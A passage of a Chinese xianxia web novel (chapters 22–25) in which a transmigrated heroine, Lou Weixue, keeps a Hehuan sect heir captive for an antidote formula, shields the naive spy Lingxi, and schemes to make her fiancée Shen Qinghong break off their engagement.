沈清鸿微微一笑,关切询问:“你在?这过得怎么样?可还适应?” “这里的生活同我之?前没有什?么不同,而且少门主对我很好?。” “如此便好?,不过如果有人欺负你,你也可以给我传信。” 此时?,娄危雪已经走下山道,看见正?在?和玲溪说话的沈清鸿,心中警铃大?作。 想到自己最后的悲惨结局,娄危雪面色复杂,心中划过一抹说不清道不明的情绪。 印象中沈清鸿可从来没有这么柔声细气地和她说过话。 第22章 沈清鸿听到身后传来的步伐,知道是娄危雪过来了,可现在的她并不想和娄危雪多?说?。 “玲溪,我还有?事要处理,暂且离开,我们来日?再聚。” 玲溪自己也有?事情,并未强留。 “好,清鸿仙尊慢走?。” 沈清鸿朝山道下走?去,两人擦肩错开。 没?了沈清鸿在前方?遮挡视线,玲溪看到站在后面的娄危雪。 她连忙往前走?了几步,来到娄危雪面前。 “少门主,我终于找到你了。” 娄危雪将视线从沈清鸿的背影上收回,看向玲溪。 “怎么急匆匆的,是有?什么事情吗?” 一见到娄危雪,玲溪担忧焦躁的心仿佛瞬间?有?了道口子,情绪宣泄而出。 “少门主,你昨晚有?遇到什么特殊的人吗?” 娄危雪清楚玲溪的真实身份,她明知故问:“我是遇到了一个人,不过你怎么知道?” “我……” 玲溪眼神闪躲,心中慌乱,她咬了咬唇,强行让自己稳下心神。 她找了个借口,“我昨晚不知道被谁打晕,身上的腰牌也不见了,担心有?人冒充我的身份,对少门主不利。” “原来如此。” 娄危雪眼神微暗,没?有?拆穿她这拙劣的谎言。她准备放玲溪一马,可这姑娘却傻乎乎的。 “少门主,那个人现在怎么样了?” 玲溪语气焦急,眼神中是掩饰不住的担忧。 娄危雪叹了口气,就玲溪这个性格,合欢宗怎么会选择把?她送来做卧底。 她提醒道:“玲溪,你对那个人是不是太?过于关心了?” 玲溪脸色瞬间?苍白,眼神闪躲,根本就不敢去看娄危雪。 她低头抠着手指,一时之间?竟然不知道要如何回答娄危雪的问题。 这反应一看就是心中有?鬼,娄危雪有?些看不下去,这如果还不拆穿玲溪,就说?不过去了。 为了防止接下来的对话被听见,娄危雪挥手布下一道隔音结界。 “玲溪,你是合欢宗的人吧,昨晚那人之所?以能拿到你的腰牌,就是你给她的吧?” 玲溪没?想到娄危雪竟然一语道破了她的身份,她头脑发懵,面无血色,扑通一声直接跪下,连句辩解都没?有?。 “对不起?,少门主是我骗了你。” 玲溪满脸愧疚,少门主对她这么好,可是她却选择把?腰牌给了花厌,放任花厌对少门主做不好的事情。 “对不起?,对不起?。” 玲溪连连道歉,泪水很快充盈他的眼眶,顺着面颊滑落,一滴滴落在地上。 娄危雪无奈扶额,“我还没?说?什么呢,你倒是哭上了。” 她伸手去扶玲溪,“别跪着了,先起?来吧。” 玲溪摇头,不愿起?来,她哽咽道:“少门主,腰牌是我给她的,如果我没?给她腰牌,她也不会冒充我的身份去见少门主,更不会对少门主不利。” “千错万错都是我的错,求少门主放了少主,惩罚我吧。” 娄危雪眉头皱起?,有?些恨铁不成钢。 她这段时间?给玲溪讲了不少道理,合着全白讲了。 “威胁我的人不是你,你上赶着认什么错?” 她相信就算玲溪没?有?把?腰牌给花厌,花厌也会想到别的办法,过来和她谈条件。 想到那个害得玲溪九死一生的渣攻,娄危雪心里一阵窝火。 知道剧情的她,忍不住出言劝说?:“玲溪,那个人只是在利用你而已,你竟然还要替她求情。” 玲溪摇头,眼睛中含满泪水,为花厌辩解,“少门主,你不要这么说?,一切都是我自愿的,少主从来没?有?利用过我。” 这句话无异于火上浇油,娄危雪更生气了。 “那个人明知道你是卧底,不能叫人发现身份,却还是选择借用你的身份来给我送饭。” “她如果真的在意?你,又怎么会这么做?” “更何况她明明有?更多?的办法来接近我,却偏偏选择了最容易暴露你身份,但也是最容易接近我的这个办法。” “少主这么做一定有?她的理由。” 玲溪并没?有?相信娄危雪的话,在合欢宗的那些年,她因为不愿意?随便与人双修提升修为,在宗门备受排挤。 可少主不一样,少主在她被人欺负受伤的时候关心她,给她擦药,帮她处理伤口。 花厌是合欢宗的少主,实力强劲,许多?人都想与少主双修,可是少主却选择了她,甚至还征求她的意?见,并不强迫她。 所?以在少主询问有谁愿意来云霄门做卧底的时候,她主动出声。 她想帮助少主,成为对少主有?用的人。 一切都是她的自愿,她相信少主。 “少门主,求求你放了少主,我愿意代替少主接受惩罚。” 娄危雪被气得胸口疼,可是看玲溪这样子,一时半会的也讲不通。 这里又在山道上,偶尔会有?弟子路过,玲溪跪在地上哭成这个样子叫人这么看了去不好。 “这件事情我只当没?发生过,我也不会揭穿你的身份。” 玲溪眨了眨朦胧的泪眼,“那少主……” 娄危雪黑着脸,“你先站起?来,我再告诉你。” 玲溪闻言连忙站起?身,眼巴巴地看着娄危雪,等待娄危雪的回答。 娄危雪见她这样,没?好气地翻了个白眼,“你说?的那个什么鬼少主被我绑起?来了,我不会杀她,但是我暂时不能放了她。” 玲溪感激不已,还想再问:“那少主现在……” 娄危雪瞪了玲溪一眼,警告道:“不要得寸进尺。” 玲溪闭嘴没?有?说?话,眼下能够保住少主的性命就好,剩下的她会再想办法。 而且少门主心地这般善良,肯定不会随便杀人的,她说?不定有?机会,能够劝说?少门主放了少主。 摆脱了玲溪后,娄危雪在外面又走?了几圈,等她重新回到议事大厅的时候,天?一宗的人已经不在了,只有?娄青涯还站在那里。 “你去哪了?” “我没?去哪,就是在外面多?转了几圈。” 娄青涯面色紧绷,“我让你和沈清鸿好好商量婚事,沈清鸿都已经回来了,你还在外面瞎转什么?” 娄危雪满脸无辜,“这不是被关得太?久了,所?以想好好透口气嘛。” “我不管你是不是真的想透气,但是之后必须给我老实呆在宗门里,听见没?有??” 娄危雪看了眼娄青涯的脸色,暂时没?有?选择和娄青涯顶嘴。 “是,我知道了。” 看来一时半会的,她是别想离开宗门了。 娄青涯见她答应,面色和缓一些:“仙门大比将近,这期间?你多?和沈清鸿接触接触,培养培养感情。” “到时候仙门大比结束,趁着所?有?人都在,我会为你和沈清鸿举办婚事。” “什么?” 娄危雪猛然提高?音量,当时看沈清鸿那生气离开的样子,她本以为退婚已成定局,这中间?难道是又出了什么差错? “清鸿仙尊不是已经过来退婚了吗?” 娄青涯皱眉,“你们刚刚在外面聊了那么久,沈清鸿难道没?和你说?她不退婚了吗?” 娄危雪满脸震惊,她都已经把?话说?到那个份上了,沈清鸿为什么还要和她成婚? 娄危雪完全不懂沈清鸿是怎么想的,不行,她要去找沈清鸿问个清楚。 “爹,我有?事情要和清鸿仙尊商量,她现在在哪里?” “天?一宗的人现在都住在云水苑,你可以去那里找她。” “不过我可警告你,在沈清鸿面前要好好表现,不该说?的话不要说?。” “我知道了。” 随便应付一句之后,娄危雪转身匆匆去找了沈清鸿。 于此同时,李寻真房间?中。 李寻真询问道:“清鸿,你为何突然改变主意?不退婚了?” 沈清鸿面容沉静,开口解释:“娄危雪是云文君的女儿,可是退婚这么重要的事情,她却没?有?出现,这其中必有?蹊跷。” “仙门大比就在眼前,我们不如先暂时稳住对方?在这里住下,然后私底下找机会探查一番。” 李寻真挑眉,这分析的头头是道,不过…… 回想沈清鸿在议事大厅和娄危雪见面时候的样子,李寻真笑问:“只是如此吗?” 沈清鸿微怔,缄默不语。 第23章 前往云水苑的途中,娄危雪再次遇到玲溪。 玲溪忍不住跟在娄危雪身后,控制不住地询问:“少门主,少主她现在怎么样了?” “她被绑着?,是不是还没有吃饭啊?” “会不会有别的人?发现她,把她交给宗主啊?” 娄危雪本就因?为与?沈清鸿的亲事心?烦,偏偏玲溪还在这里为了那个混账东西,叭叭地说个不停。 她一个头两个大,不耐烦地出声训斥。 “都跟你说了,不会杀她,总归是不会让她死。” “上?赶着?的不是买卖,别被人?卖了还要数钱。” “你尚且不知?道人?家是否真心?喜欢你,难道我平日里教你的就是这些东西吗?” 玲溪已经逐渐习惯娄危雪这段日子对她的好,现在听到娄危雪说重话,眼眶一下子就红了。 她垂着?眼睛,手足无措,一副小可怜的模样。 “我……我只是太担心?了。” 娄危雪看她这一副惨遭欺凌的样子,深感无奈。 她伸手搭上?玲溪的肩头,正?想劝说几句,身后传来?一道熟悉的声音。 “你在对玲溪做什么?” 娄危雪本就因?为婚约的事情心?烦,再一听沈清鸿这质问般的语气,心?中迅速升起一团无名之火。 “我做什么,和?你有什么关系。” 沈清鸿瞥了眼,眼睛红彤彤的玲溪,走过去站在玲溪面前,隔开了玲溪与?娄危雪的距离。 “玲溪也算我的救命恩人?,你欺负她,我自然是要管的。” 娄危雪冷笑,这就把欺负人?的名头扣她头上?了。 玲溪真不愧是原书女主,什么话都没说,就可以让沈清鸿主动上?来?为她出头。 与?之相比,她这个救命恩人?看起来?倒像是个笑话。 娄危雪胸口沉闷,她没有辩解,反而故意让沈清鸿加深了这个误会,反正?都是要退婚的,越讨厌越好,她才不要和?这个把她嘎了的人?继续纠缠不清下去。 思及此,娄危雪故作跋扈道:“这里是云霄门,我是云霄门的少门主,我倒要看看,你想怎么管?” 沈清鸿面容冰冷,眼睛里闪烁着?细碎的寒光。 “堂堂云霄门的少门主,竟这般仗势欺人??” “我就仗势欺人?,怎么了?” 两人?四目相对,无形的火花在空中炸裂,谁都不肯退让一步。 玲溪早就已经不哭了,眨巴着?大眼睛,不解娄危雪为什么没有和?沈清鸿解释。 眼看着?两人?就要吵起来?,她连忙出声。 “清鸿仙尊,少门主没……” “你别说话。”娄危雪打断玲溪的解释。 玲溪为难,“可……” “闭嘴!” 接连两道的呵斥,让玲溪彻底闭嘴,不再出声。 娄危雪这专横的样子,叫沈清鸿皱起眉。 再次见面后的娄危雪和?她的记忆中的相比,区别大得?简直像是两个人?。 “娄危雪!你怎的变得?这般不讲道理!” 娄危雪高抬下巴,一副傲慢至极的样子。 “我本来?就这样,这才是我的本来?面目。”她故意挑衅:“怎么,看不惯我啊,那就和?我退婚啊!” “你如?果?不退婚,可就要和?我这样的人?过一辈子喽。” 娄危雪本以为她这样说,会让沈清鸿厌恶她,从而与?她退婚。 没承想,沈清鸿却一脸正?经道:“正?是因?为你太过顽劣,所以我才不能退婚让你去祸害别人?,我必须得?把你放在身边,亲自看着?,将你引入正?途才行。” 娄危雪:??? “我祸害别人?和?你有什么关系,清鸿仙尊,你是不是受伤没好全,脑子还没恢复?” “娄危雪!” 沈清鸿面颊浮上?一层薄怒,不悦的气息毫不掩饰地扩散着?。 见她如?此,娄危雪心?底突然涌上?一股深深的疲惫,各种事情堆积在一起叫她喘不过气来?。 灵兽跑了,神仙姐姐成?了嘎了她的清鸿仙尊,自己又被抓回来?逼着?成?婚,合欢散解药的事情还没解决,假少门主的身份随时会被揭穿,头顶还悬着?一把时刻会落下的巨刀。 她只是想好好活着?,怎么就这么难。 原本娄危雪是打算和?沈清鸿再谈谈的,不过眼下这情况,怕是谈不下去了。 “关于我们?的婚事,清鸿仙尊你再想想吧。” 留下这句话后,娄危雪转身离开。 玲溪被留在原地,见状替娄危雪解释:“清鸿仙尊,其实刚刚少门主没有欺负我的。” “我知?道。” 她从师叔房中出来?,看到两人?神情激动,不过是想问清楚其中原因?。 后面说出那些难听的话,纯属是被娄危雪刺激的。 在娄危雪的事情上?,她似乎很难保持冷静。 沈清鸿把视线从娄危雪的背影上?收回,神色已经重新变得?平淡,完全看不出之前被气得?面颊通红的人?是她。 玲溪闻言诧异,“那仙尊你怎么……” 沈清鸿并?未言语,向玲溪点头后告辞离开。 娄危雪沿着?山路转了好久,才回去。 一上?午就这么过去,娄危雪回到房间后,第一时间去见了花厌。 事情很多,但总要一件件解决。 花厌灵力被锁,什么事情都做不了,正?在闭目养神。 听到动静,睁开眼皮,见是娄危雪,又懒懒地闭上?。 娄危雪郁闷不已,伸手戳她。 “你被我绑着?,倒是一点都不着?急。” “怎么不着?急,可是你能放了我?” “好说。”娄危雪伸手,“合欢散解药。” “没有。” “没有解药,那你一定知?道配方……”娄危雪似笑非笑的看着?花厌,“是吧,合欢宗少宗主。” 花厌身体有一瞬的僵硬,随后立刻否认。 “我不是。” “别狡辩了,我既然说你是,那就代表我已经掌握了足以证明你身份的证据。” 娄危雪坐在花厌面前的椅凳上?,撑着?下巴,一副胸有成?竹的模样。 穿书就是这点方便,可以提前知?道剧情和?她们?的身份。 花厌睁开双眼,沉下眸:“你怎么知?道的?” “这就不是你该关心?的了。” 娄危雪再次提出交易,“给我解药的配方,我放你走,怎么样?” “可以,我给你写解药配方,你把风云铃给我。” 娄危雪嗤笑一声,“一张药方,就想换我宗门的镇牌之宝,你是否太过分了些。” 花厌轻抿唇角,一抹戏谑的笑意浮现:“可是你现在需要药方不是吗?” 娄危雪纠正?,“准确地来?说,我是需要解药。” “我现在是在给你机会,”她站起身,俯视捆坐着?的花厌,故意道:“你们?合欢宗那么爱用?合欢散,就算你不给我解药,我爹知?道我需要解药后,也会想办法从你们?合欢宗的门人?身上?弄来?。” “前提是你真的是娄青涯的女儿。” 娄危雪眼睛微眯,“你在威胁我。” “不敢,我现在可是被捆着?呢。” 花厌嘴上?说着?不敢,可是神态却没有一点害怕。 “云霄门的少门主,”花厌?*?叫人?的声音拉得?很长,讽刺意味十足。 她嘴唇微微向上?扬起,“我提醒你,合欢散的解药只有合欢宗的长老、宗主还有我有,而且解药的发放有着?严格的控制,往往在两个时辰内解药就会失去药性,你想拿到解药,没那么容易,哪怕是你爹娄青涯也一样。” 娄危雪眉毛不自觉皱起,她目光沉沉盯着?花厌,判断着?花厌话里的真实?性。 花厌的头向后仰去,抵着?柱子,看上?去极其放松。 空气安静,气氛僵持。 正?在这时,娄危雪的房间门被敲响。 娄危雪重新布好屏障,离开耳房,走回自己房间,打开门,玲溪正?站在外面。 “你怎么来?了。” 玲溪提起自己手中的食盒,展示给娄危雪看。 “少门主,我来?给你送午饭。” “进来?吧。” 娄危雪侧开身体,让玲溪走入房内。 食盒里的餐食依照玲溪的习惯,被玲溪一样样摆放出来?放到桌子上?。 娄危雪照例留了玲溪,两人?一起用?饭。 不过在吃饭的时候,玲溪心?不在焉的,手上?虽然在扒拉着?饭,但是她的眼睛却不在面前的餐食上?,总是忍不住朝娄危雪的房间里瞥,像是在找什么。 娄危雪把一切看在眼里,她明知?故问:“不好好吃饭,是在找什么。” 玲溪见被撞破,面颊泛红,有些不好意思。 她这次没有隐瞒娄危雪,询问道:“少门主,你把少主关哪里去了?” 娄危雪放下碗筷,“跟我来?。” 玲溪闻言乖乖跟在娄危雪身后,来?到与?房间相连的耳房。 娄危雪挥手接触遮掩用?的屏障,花厌的身影出现在玲溪眼前。 一天没见,花厌还是那副样子,看上?去身上?没有伤口,不过嘴唇干涩许多。 “少主!” 玲溪眼角微微泛红。 “玲溪?” 花厌皱眉,她看了眼带玲溪过来?的娄危雪,突然想到什么。“是你把我的身份告诉给娄危雪的?” 玲溪被花厌的大声质问,吓得?面色泛白。 “我……” 她没有告诉娄危雪花厌的身份,但是对花厌的称呼习惯,叫她在一开始就向娄危雪称花厌为少主。 想到这里,玲溪脸色更白了,几乎毫无血色。 “对不起少主,我不是有意的。” 玲溪连连道歉,眼眶中很快就蓄满泪水,“都怪我,是我太笨了。” “你真是成?事不足……” 花厌神色难看,责怪的话尚未说完,就被旁边的娄危雪恶狠狠地怼了回去。 “你一个阶下囚吼什么?就你嗓门大是吗?小心?我喂了你合欢散扒光扔出去!” 这话实?在过于有威胁力,花厌陡然闭了嘴。 第24章 玲溪见状,忙把错朝自己?的身上揽。 “少门主,你不要生气,一切都是我不对。” 娄危雪恨铁不成钢,“这个?时?候,你还要为她求情!你看看她,可有一点?在意你!” “见面就是质问,甚至没有关心?你身份暴露,有没有受到惩罚!” 玲溪还在为花厌找借口,“少主被抓,又看到我和少门主你一起过?来,怀疑我很正常。” 怎么就看不清呢! 想到玲溪在书中的后果,娄危雪没好气地点?了下玲溪的脑袋,咬牙切齿道:“就你这样的被人卖了,还在给人数钱!” 花厌冷眼?看着,“娄危雪,挑拨离间对我和玲溪没有用。” 娄危雪被气笑了,“这还用得着我挑拨离间?明眼?人都看得出来你不在意玲溪,也就玲溪傻,看不穿你的真面目。” 玲溪手足无?措地站在旁边,“少门主,你不要这么说少主,少主她对我很好的,只是你不清楚而已。” 娄危雪瞪了玲溪一眼?,她可太清楚了。 就是因为清楚,所?以现在看玲溪被蒙骗,才更?加生气,偏偏玲溪毫不自知。 娄危雪胸口上下起伏,被玲溪堵得说不出来话。 花厌朝娄危雪得意一笑,这个?时?候才装模作样地关心?起玲溪。 “玲溪,你身份暴露,娄危雪没对你做什么吧。” 玲溪摇头,乖乖回答:“没有,少门主人很好的,她让我隐瞒下这件事,而且还没有把我的真实身份告诉宗主。” 听到玲溪夸赞娄危雪,花厌面上飞快闪过?一道不悦。 “玲溪,你以为的好,有时?候其实是别有用心?。” “呵,”娄危雪唇角勾起一抹嘲讽的弧度,盯着花厌意有所?指,“是啊,别有用心?。” “玲溪,你可要好好记住你少主和你说的这句话。” 花厌抿唇,脸绷得紧紧的,眼?睛像挟着闪电的乌云。 娄危雪毫不客气地瞪回去,真是的,就你有眼?睛啊。 玲溪看看花厌,又看看娄危雪,出声打破这僵局。 “少门主,你能不能放了少主。” “不能,”娄危雪收回实现,她拒绝得干脆,但也给了玲溪转圜的余地,“除非你的少主把我要的东西?交给我。” “少门主你想要什么?说不定我可以给你。” “合欢散的解药,你有吗?” “没有,”玲溪眉毛顿时?拧成了一个?结,看上去很是苦恼,“合欢散的解药发放有着严格的控制,每次解药下发两个?时?辰内必须用掉,所?以大家身上有合欢散,但是并不一定会有解药,哪怕是用合欢散的那个?人。” 娄危雪眼?睫低垂,若有所?思。 看来花厌没有骗她,合欢散的解药确实不好获取。 该怎么办才能让花厌答应她的要求呢。 娄危雪沉思中,玲溪主动提议:“少门主,可以让我和少主单独待一会吗?我会尽量劝说她把解药的药方给你的。” “那你可要好好劝劝你的少主,只有给了我要的东西?,我才能放她走,不是吗?” 留下这句话后,娄危雪转身离开。 花厌身上的锁灵绳有她单独加的咒术口诀,除了她没人能打开,所?以她并不担心?玲溪把娄危雪放走。 娄危雪走后,不等玲溪劝说,花厌直言:“我不会把解药药方给娄危雪。” “可是少主,如果你不把药方给少门主,少门主就不会放你离开。” “一天两天也便罢了,如果某天有其他人发现你在这里该怎么办?那些人可不一定像少门主这么好说话。” 玲溪目露忧色,一想到花厌的身份可能被其她人发现,身体就止不住地颤栗,她不敢想象那样的后果。 “少主,求你了,你就交出药方吧。” “胡闹!” “尽管合欢散的解药获取不易,可一但把合欢散的解药药方给娄危雪,那等于合欢散对云霄门直接没用了!情况严重点?,天下所?有人都会知道合欢散的解药,到时?候谁中了合欢散都能自己?去解!” 玲溪眸中闪着泪光,依旧坚持,“对我来说,这些都没有少主的安全重要。” “我看你是在云霄门待得太久了,连自己?的身份都忘记了,竟然?相信娄危雪这个?云霄门的人!” “你怎么知道我交出药方,她就会放我离开?你忘记她之前是怎么欺骗你,怎么欺负你的了吗?” 玲溪忍不住辩解,“少门主现在比以前好很多,她答应的事,肯定不会反悔的。” 花厌的脸色变得越发冷漠,她大声训斥:“少门主少门主!你是合欢宗的人,现在娄危雪不在,你还叫她少门主,眼里可还有我这个少主了?” “吃里爬外的东西?!也不知道娄危雪究竟给你灌了什么迷魂汤,让你这般帮她说话!” 玲溪委屈不已,她只是想救少主,可是为什么少主那样说她。 少主的心里真的有意她吗? 与此同时?,沈清鸿和李寻真以商量婚事办理事由,拜访了娄青涯。 屋里除了娄青涯之外,再也没有其她人。 李寻真状似不经意地询问:“怎么没有见到云夫人?” “夫人……”娄青涯嘴角勾起一抹苦涩的弧度,“夫人她正闭关,不能出来见客,还请见谅。” 李寻真故作不解,“可危雪毕竟是云夫人的女儿,她成婚这样的人生大事,云夫人也不能出来操办吗?” 娄青涯摇头,似是无?奈,“我曾去过?夫人闭关的醉月居,醉月居大门紧闭,不让任何人进去,就连我去了也只不过?是能在门口和夫人说几句话而已。” “我与她说过?九寒的婚事,只是夫人说她在修炼一种心?法,正在紧要关头不能出现任何差错,至于婚事就由我做主。” 沈清鸿闻言和李寻真相互对视一眼?,两人面上不露声色,心?底却觉云文君闭关的行为十分?怪异。 “如此真是太遗憾了。” 娄青涯闻言,宽慰道:“李宗主请放心?,虽然?夫人不在,但是我会好好替九寒和清鸿操办的。” 李寻真摸了摸长长的胡须,笑道:“有娄宗主这句话,我便放心?了。” 之后三人又说了一些关于婚事采买布置的问题,然?后沈清鸿和李寻真才离开。 等离娄青涯居住的地方远了,李寻真将?神识放出,时?刻留意周围动向,防备有人会听到他接下来和沈清鸿的对话。 “娄危雪成婚这般重要的事情,云文君作为她的母亲竟然?宁愿选择修炼心?法,都不愿意出来,实在是太过?蹊跷。” 沈清鸿清冷如月的眼?眸中闪烁着冰冷的亮光,“师尊曾说过?,天书九卷是上古传下来的至高心?法,被人杀害后遗失八卷,如果偷走天书的人是云文君,她手中应只有八卷,心?法不全于修炼无?益,这很有可能是她常年?闭关不出的原因。” 李寻真微微摇头,“清鸿,切莫着急下定论?。” “你说的那些不过?是你的猜测,如今我们尚且没有寻到证据证明师兄的死与云文君有关,更?无?法确认云文君是因为修炼天书所?以才闭门不出的。” “眼?下还是要尽量探寻,找到更?多关于云文君的线索才是。” “可是云文君现在闭关不出,娄青涯尚且不能够见到她,我们又如何能够接触她?” 沈清鸿眉凝纠结,语气里透露了一丝烦躁,“不如今夜我找个?机会,去她闭关的地方打探一番,看看究竟是怎么一回事。” 李寻真连忙出声制止,“不可鲁莽,这里是云霄门,云文君闭关的地方必然?有人把守,更?何况万一云文君就是杀你师傅夺走天书八卷的人,你恐怕不会是她的对手。” “我知你想为你师傅报仇,但是这么多年?都忍过?来了,不要急于这一时?。” 沈清鸿面色紧绷,握着拳头的手缓缓松开,她深吸一口气,让自己?发热的大脑慢慢冷静下来。 “师叔教训的是,我知道了。” “嗯,只要在云霄门待着,我们或多或少可以打听到一些事情,时?间久了,她如果真有不对劲的地方,不会不露一点?马脚。” 说到这里,李寻真微皱双眉,“不过?我还要处理天一宗的事情,恐怕不能再次多做停留。” 沈清鸿的师傅原本是天一宗的宗主,但是因为天书九卷丧命。 宗门不可一日?无?主,沈清鸿虽然?是被当作未来宗主继承人培养的,但终究威望不足,于是在长老?们的商量下,由李寻真暂代?天一宗宗主,等沈清鸿为师尊报仇后,威望得以服众,再正式接任天一宗宗主之位。 往日?她与李寻真,必定有一个?会留在宗门,也就这次情况特殊,两人才一起过?来。 知道李寻真不能久留,沈清鸿面沉如水,她提议:“师叔,你可以先回天一宗,我与娄危雪有亲事,留在这里合情合理。” 李寻真神色闪过?一抹犹豫,似是想到什么,欲言又止:“清鸿,你与那娄危雪……” “师叔放心?,我与娄危雪只是朋友,绝不会因个?人恩情影响到为师尊复仇的大事。” “唉,师叔信你。”李寻真长叹一声,“你修的是无?情道,切记,绝不可动情。” 沈清鸿面色一变,垂眸道:“是,清鸿谨记师叔教诲。” 第25章 两人?商议完事情,李寻真正准备把放出的神识收回,忽然感知有人?朝他们这里走来。 “嗯?” 沈清鸿发现李寻真面色有异,还?以?为是发什么什么事情了?,神色陡然一紧。 “师叔你怎么了??可是感知到了?什么不对劲的地方?” 见沈清鸿这般,李寻真微微一笑?。 “别这么紧张,”他说着,伸手指向远处,“你看?,谁来了??” 沈清鸿顺着李寻真手指的方向望去,鹅卵石铺就的小道上,娄危雪双手背在脑后,嘴巴里叼着不知道哪里弄来的野草,悠悠闲闲地踩着步子,正朝着她们这个方向走来。 “是她。” 沈清鸿颔首,原本紧绷着的身体放松许多,嘴角溢出了?一丝不易察觉的笑?意。 李寻真将沈清鸿的反应看?在眼里,脸上不由浮现出深深的担忧。 沈清鸿这孩子是他看?着长大的,平日里做事认真的紧,不苟言笑?的,身边连个能?说话的同龄人?都没?有,尤其是自?她转修无情道后,就变得更?加沉默了?,只知埋头修炼,想着有朝一日能?够为师傅报仇。 寒来暑往,不分昼夜,一日都未曾落下修炼,境界稳步提升,是年?轻一代里修为最高的。 为了?打探关于天书的下落,她时常下山,因此处理了?不少路上遇到的妖邪,解决不少祸事,宗门?里的弟子们都很尊敬她。 可,高处不胜寒,孤独最难捱。 他们修真界流传下来的传说里,尽管修无情道的人?不多,却并不是没?有,有的修行圆满成功飞升,更?多的却是迟迟不能?勘破,困于情愫身死道消。 但人?非顽石,孰能?无情。 情之一字是无情道上最大的阻碍,却也是无情道上必须跨过去的槛。 大道无形,生育天地;大道无情,运行日月。 每个人?都有自?己要勘破的道,李寻真不知道沈清鸿最后能?不能?闯过情关,但是真心希望从小看?着长大的沈清鸿能?平安无虞。 李寻真拍拍沈清鸿的肩膀,“清鸿,去吧。” “好。” 沈清鸿朝着娄危雪所在的道路走去,两人?相对而行,距离越来越短,差不多还?剩几百步。 危雪很快注意到了?正朝她走来的人?。 她原本是为了?把空间腾给玲溪和花厌,所以?才出来的,只是云霄门?这么大,她没?想到她只是随便?走走,都能?遇到沈清鸿。 娄危雪暗道不妙,她吐掉嘴巴里叼着的野草,趁着沈清鸿没?有叫她之前,面不改色地调转方向,朝着来时的方向走去。 沈清鸿已经?准备和娄危雪打招呼了?,却没?想到那人?转身就走。 原本就面无表情的俏脸,更?加冰冷。 “娄危雪!” 她语气寒冷,如同冬日的井水,冻得人?彻骨生寒。 娄危雪打了?个寒颤,可脚下没?有丝毫停顿,反而加快许多,她装作没?听见般,闷头往前走。 沈清鸿冷哼一声,抬手并起双指,寒芒闪过,均鸿剑出鞘笔直朝娄危雪飞去。 听到身后传来的动静,娄危雪运转心法,脚步腾转,身姿灵动,只一个眨眼便?前进了?一大截。 她使的正是云霄门?的轻功,乘风流云步。 沈清鸿眼睛微眯,白衣缥缈在原地留下残影。 均鸿剑的速度在她的操控下陡然上升,瞬间从娄危雪的身侧穿过,横剑拦在娄危雪身前,挡住娄危雪的路。 剑刃锋利,闪耀着银芒。 这下就算娄危雪想当作没?看?见都不行了?,她认命转身,沈清鸿此时已经?追到了?她身前。 “你跑什么?” 沈清鸿冷着脸,眼中盛满寒冰。 娄危雪不答反问?,“清鸿仙尊,你有什么事情吗?” 沈清鸿沉默不语,她只是听师叔的话,过来打招呼而已。 见对面那人?半天不说话,娄危雪抬手,“再见。” “等等。”沈清鸿忍不住叫住娄危雪,眉毛拧成了?一个结,“你没?有什么要说的吗?” 娄危雪抬眸,“你要和我退婚吗?” “不退。” 沈清鸿答得斩钉截铁。 “那我们之间就没?有可聊的了?。告辞。” 娄危雪毫不犹豫转身就走,沈清鸿被?留在原地,周身散发着能?够冻死人?的冷气。 望着娄危雪逐渐远去的背影,沈清鸿的眉毛紧紧皱在一起。 似乎自?从身份被?娄危雪得知后,娄危雪对她的态度就不一样了?,其中有什么她不知道的隐情吗? 而另一边,娄危雪估摸着时间差不多了,回到自?己居住的院中。 花厌还?是那副样子,玲溪睫毛湿润,鼻尖红彤彤的,脸上还?有泪痕,就那么站在边上,显然是大哭一场。 娄危雪眉心微跳,踹了?花厌一脚。 “狗东西。” 花厌: “就知道欺负玲溪。” 玲溪赶忙抹了下脸颊,“少主没?有欺负我。” 娄危雪瞪了?玲溪一眼,“跟我出来。” 玲溪咬唇犹豫一瞬,还?是跟着娄危雪离开?耳房。 “坐。” 娄危雪扬扬下巴,示意玲溪坐她对面。 “看?你这样子,你和她交流得不顺利吧。” 玲溪惭愧地低下头,“对不起,少主她不愿意交出药方。” “不过少门?主你放心,我会继续努力劝说少主的!” 凭借她在书中看?到的事情,娄危雪并不觉得,玲溪真的能?说动花厌。 娄危雪拒绝,“不用了?,你之后不用去了?。” 花厌那狗东西就知道欺负玲溪,她可不想天天面对玲溪一张哭脸。 玲溪听后却急了?,“少门?主,你不要不让我看?少主,我会努力劝说少主的,求求少门?主了?。” “玲溪。” 娄危雪无奈叫了?一声。 玲溪闭上嘴,但是眼中满是哀求,看?上去可怜兮兮的。 娄危雪顿时一个头两个大,“罢了?罢了?,我还?要找你少主问?药方呢,总不能?让她饿死。” “以?后你少主的一日三餐就交给你了?。” 玲溪眼睛瞬间就亮了?,露出甜笑?。 “谢谢少门?主!” 娄危雪摇摇头,拿玲溪没?有办法。 确认以?后都可以?和花厌见面后,玲溪向娄危雪告退,离开?房间。 屋中空荡荡的,娄危雪撑起下巴,望着窗外,思绪开?始飘远。 花厌这边交给了?玲溪,她暂时不用操心,那剩下的就是沈清鸿那边了?。 到底怎样才能?让沈清鸿取消亲事啊! 明明之前在小屋中的时候,沈清鸿都不怎么搭理她的。 而且之前见面的时候,她已经?和沈清鸿说过自?己的想法了?。 当时她说的话,她自?己都觉得欠揍,更?别提沈清鸿了?。 可是那样沈清鸿都没?有退婚,实?在是让人?费解。 她记得她那个便?宜爹说过,仙门?大比之后会为她举办婚事,她得赶紧想想办法,在仙门?大比之前让沈清鸿退婚才行。 到底要怎么做呢。 娄危雪烦躁地揪着头发,苦苦思索。 等晚上玲溪来给娄危雪送饭的时候,就见到娄危雪一副纠结的模样,早上梳得整齐的发髻,乱糟糟地顶在脑袋上。 “少门?主,你怎么了??” “我在想,要怎么样才能?让一个人?讨厌我。” “啊?” 玲溪疑惑,这是什么问?题。 “为什么要让人?讨厌?” “因为我不想死。” 两人?一问?一答,玲溪虽然不明白这中间有什么关联,但还?是给出了?自?己的见解。 “如果想让那个人?讨厌,那就做让那个人?讨厌的事情不就好了?。” “可是我不知道她讨厌什么。” 这正是叫娄危雪如此为难的部分原因。 她泄气般地瘫在椅子上,玲溪的身影在娄危雪眼前晃来晃去的,娄危雪原本飘散的眼神逐渐聚焦。 有了?! 娄危雪脑中灵光一闪,她坐起身体。 “玲溪,我有件事情,需要你帮忙。” “少门?主你说。” “我想请你在沈清鸿面前配合我演戏,让她误会我和你的关系。” 玲溪睁大眼睛,满脸不解,“可是少门?主,清鸿仙尊与你有婚约,你为什么要这么做。” 